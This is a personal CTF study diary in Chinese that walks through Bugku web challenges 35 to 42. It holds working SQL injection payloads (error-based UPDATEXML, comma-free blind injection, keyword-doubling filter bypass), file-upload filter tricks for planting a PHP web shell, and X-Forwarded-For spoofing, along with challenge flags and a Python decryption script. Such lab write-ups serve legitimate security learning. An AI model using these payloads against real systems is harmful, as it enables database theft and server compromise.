2020.09.19
go on,今天务必搞定web
经验教训
- 能运行php标签的扩展名有php4,phtml,phtm,phps,php5等,可以在php被过滤的时候尝试;
- html请求头中,对内容是不区分大小写识别的,有时候小写被过滤了,可以试试参杂大写字母,比如
Content-Type: multipart/form-data;
被过滤,可以考虑Content-Type: Multipart/form-data;
- 文件上传漏洞中,主要修改三个地方,两处Content-Type,一处文件名;
- remote_addr代表客户端IP,当前配置的输出结果为最后一个代理服务器的IP,并不一定是真实客户端IP;
- 在没有特殊配置情况下,X-Forwarded-For请求头不会自动添加到请求头中;
- php中,explode()方法相当于py中的split,用于用标志分割字符串成数组;
- 报错注入一般式子为
‘ OR UPDATEXML(1,CONCAT(‘~‘,(database()),‘~‘),3)OR ‘
,利用的是UPDATEXML第二个参数需要是Xpath格式,用CONCAT连接不是Xpath格式的符号~达到报错目的,~的ascii码是0x7e,可以用这个替代前式子中的‘~‘; - insert、delete、update中进行报错注入的位置是在数据后边闭合引号添加上边式子就行了;
- 如果链接出现了重定向,那么务必要关注一下消息头;
- 如果a、b两个值不相同,则异或结果为1。如果a、b两个值相同,异或结果为0;
第三十五题 细心
https://ctf.bugku.com/challenges#细心
- 打开,猛一看还以为这题又不能做呢,原来是自定义的404
- 看到自定义的404,那么就要想到一个文件
.htaccess
,是php的配置文件,用来自定义404等等其他操作,访问试试,很好,我们得到了默认的404??
- 题干提示了txt,那么就想到robots.txt,同样的,依旧是php自带的文件,用来存储目录的好像是,访问得到线索
resusl.php
- 访问得到下边界面,看着没啥用,还好最下边给了点提示,意思就是请求x的值来等于password呗
- 我随便试了一个
resusl.php?x=admin
,万万没想到就进去了,不管给了flagflag(ctf_0098_lkji-s)
,还给了所以访问IP,太狠了??
第三十六题 求getshell
https://ctf.bugku.com/challenges#求getshell
- 打开是这样的,难不成是文件上传漏洞,啊哈哈,满足他这个奇怪的要求??
- 你不要php我就不给你吗?不存在的,上传一句话php试试,上传.php文件不行,于是上传.php.jpg文件,被更改了文件名,导致不能正常访问
- 没啥思路了,看看wp,学到了遗忘的知识,
- wp中的做法主要是修改了三个地方,两处Content-Type,一处文件名,修改的第二处Content-Type和文件名我们都好理解,但是第一处Content-Type我没明白怎么回事,我上传了正儿八经的jpg文件,Content-Type也是
multipart/form-data;
,出题人为啥要过滤这个……还有就是怎么发现的他存在这个过滤,纯靠猜测么……并且这个题,你只要上传成功文件就给了flag,
- flag是
KEY{bb35dc123820e}
,这题没搞明白什么思路……
第三十七题 INSERT INTO注入
https://ctf.bugku.com/challenges#INSERT%20INTO注入
- 打开链接,看到自己的ip
- 题目中给了源代码,结合第一步结果进行代码审计:
error_reporting(0);
function getIp(){
$ip = ‘‘;
if(isset($_SERVER[‘HTTP_X_FORWARDED_FOR‘])){ //获取X-Forwarded-For或者Remote_Addr的值
$ip = $_SERVER[‘HTTP_X_FORWARDED_FOR‘];
}else{
$ip = $_SERVER[‘REMOTE_ADDR‘];
}
$ip_arr = explode(‘,‘, $ip); // 以,为分割,把ip分割为数组
return $ip_arr[0]; //返回第一个ip,也就是客户机ip
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo ‘your ip is :‘.$ip;
$sql="insert into client_ip (ip) values (‘$ip‘)"; // 注入点,我们可以通过X-Forwarded-For来提供一个假的ip,从而进行注入,这里没有任何过滤。
mysql_query($sql);
- 有了思路,我随便试了一个ip,还真成了,那么,insert该怎么注入呢?
- 一般可以用报错注入,顺便复习了一下报错注入,报错注入,一般式子为
INSERT INTO table(a,b) VALUES(‘qwk‘ OR UPDATEXML(1,CONCAT(‘~‘,(database()),‘~‘),3)OR ‘‘)
,这个地方不可以使用,因为这个式子包含了逗号,但是源代码对逗号进行了过滤(用逗号作标志分割了输入),有没有什么办法能不用逗号? - 原来如此,这个题,没有报错,没有查询回显,只能用延时注入,延时注入的一般式子为
1’ and if(length(database())=1,sleep(5),1) #
,1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) #
,这中间也有逗号,所以,我们要找一个没有逗号的方法来代替if语句和substr语句。- 还有一种判断执行语句:select case when 判断条件 then 执行语句1 else 执行语句2 end
- substr(database() from 1 for 1) = substr(database(),1,1)
- 方法找到了,那么接下来就是写脚本了,因为是盲注,需要sleep方法,需要大量的请求,所以需要脚本帮忙,并且这种盲注有两种方法,一种是二分法,这个方法比较难理解,但是比较快速,还有就是遍历法(我自己取得名字……),这种比较慢,但是好理解,结果直观,我打算两种都试试,毕竟遇见一个好题不容易,哈哈哈,我打算专门写一个随笔介绍各种方法,奥力给??
- 经过测试,我发现这个题好像不能做了,怎么也得不到结果,是我的问题吗?直接搬wp也不行,有没有老铁也到和我一样的问题啊……比较全面的wp
第三十八题 这是一个神奇的登陆框
https://ctf.bugku.com/challenges#这是一个神奇的登陆框
- 又一道404
第三十九题 多次
https://ctf.bugku.com/challenges#多次
- 打开如下,我发现若存在重定向,那就得好好关注一下这个消息头,重定向后的payload是
1ndex.php?id=1
- 测试修改id的值,知道id=5时,出现了有用的消息,所以思路时sql注入
- 接下来开始测试sql injection
-
1‘
,输出错误; -
1‘%23
,输出正确,确实存在sql注入; -
1‘ ORDER BY 1 %23
,输出错误,可能存在过滤; -
0‘ ^(1) %23
,输出错误; -
0‘ ^(0) %23
,输出正确,说明可以用来测试过滤; -
1‘ ^(length(‘select‘)=0) %23
,输出错误,说明select被过滤(输出结果是错误说明最终结果是0,1与1异或后为0,所以括号中结果为true,也就是说长度为0,也就是被过滤了) -
1‘ ^(length(‘selecselectt‘)=0) %23
,输出正确,说明可以用复写来绕过! - 用以上方法测试了几个能用得到的
SELECT、WHERE、FROM、OR、UNION
被过滤掉的有SELECT、OR、UNION
-
0‘ UNIOunionN SELECselectT 1,2%23
,输出正确,得到显示位置;
-
0‘ UNIOunionN SELECselectT 1,(database()) %23
,得到数据库名web1002-1
-
0‘ UNIOunionN SELECselectT 1,(SELECselectT GROUP_CONCAT(table_name) FROM infoorrmation_schema.tables WHERE table_schema=‘web1002-1‘) %23
,得到表名flag1,hint
,这里注意information中有or,所以要进行复写绕过;
-
0‘ UNIOunionN SELECselectT 1,(SELECselectT GROUP_CONCAT(column_name) FROM infoorrmation_schema.columns WHERE table_name=‘flag1‘) %23
,得到表flag1下列名flag1,address
;
-
0‘ UNIOunionN SELECselectT 1,(SELECselectT GROUP_CONCAT(address) FROM flag1) %23
,address中发现下一关地址./Once_More.php
,flag1表中没有有用信息;
- 进入下一关,依旧是id=1,再次进行测试……??
- 经过测试,存在sql注入是没问题,但是问题是没有select回显,所以不能再用上边的办法,当然他给了另一种方式,那就是报错注入,这也是出题人的目的吧???♂?正好复习一遍啊哈哈哈
-
1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(database()),‘~‘)),3)%23
,得到数据库名web1002-2
-
1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘web1002-2‘ ),‘~‘)),3)%23
,得到表名class,flag2
-
1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=‘flag2‘ ),‘~‘)),3)%23
,得到表flag2的列名flag2,address
-
1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(SELECT GROUP_CONCAT(flag2) FROM flag2),‘~‘)),3)%23
,得到flag2中内容为flagflag{Bugku-sql_6s-2i-4t-bug}
- 这个flag变成小写输入即是答案,你以为到这就完了?当然不是,这个题还有下一关,既然是学习为目的,那么这次我觉得来做一把??
-
1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(SELECT GROUP_CONCAT(address) FROM flag2),‘~‘)),3)%23
,得到下一关地址./Have_Fun.php
,干就完了??
- 出题人很p,那么应该就是修改请求头了
- 添加
X-Forwarded-For: 192.168.0.100
后,得到一个二维码,扫一扫得到你……你……你可以看到我? 好吧,我来自于ErWeiMa.php 顺便告诉你两个密码 one:参数名是game; tow:flag在admin里 对了,文件后@…c=Y
- &……不做了,没思路,先看一遍再说吧……
-
第四十题 PHP_encrypt_1(ISCCCTF)
https://ctf.bugku.com/challenges#PHP_encrypt_1(ISCCCTF)
- 下载php打开如下,是个加密算法,题目中的字符串应该就是加密结果,我们的任务就是写解密算法然后得出结果???♂?
<?php
function encrypt($data,$key)
{
$key = md5(‘ISCC‘); // 密钥
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) { //把key重复相加成和data一样长
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) { // 核心算法,data和key每位ascii相加取余再ascii得到结果
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str); // base64后输出
}
?>
- 那么我是用php写解码方法还是用py呢?哈哈哈
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName : decry.py
#createTime: 2020/09/19 22:10:49
#author : 乔悟空
#purpose : 此脚本用于针对特定加密方式解密
import base64
import hashlib
miwen = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="
miwen = base64.b64decode(miwen).decode()
print(miwen)
key = hashlib.md5(‘ISCC‘.encode()).hexdigest()
print(key)
char = ‘‘
x = 0
for i in range(len(miwen)):
if x == len(key):
x = 0
char += key[x]
x += 1
print(char)
res = ‘‘
for i in range(len(miwen)):
for j in range(2):
tem = 128*j+ord(miwen[i])-ord(char[i])
if tem<33 or tem ==127:
pass
else:
res += chr(tem)
print(+res)
- 解密结果,去掉两个奇怪的字符就是答案
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}
第四十一题 文件包含2
https://ctf.bugku.com/challenges#文件包含2
- 奇怪,好像挂了
第四十二题 flag.php
https://ctf.bugku.com/challenges#flag.php
- 明天再做,累了累了……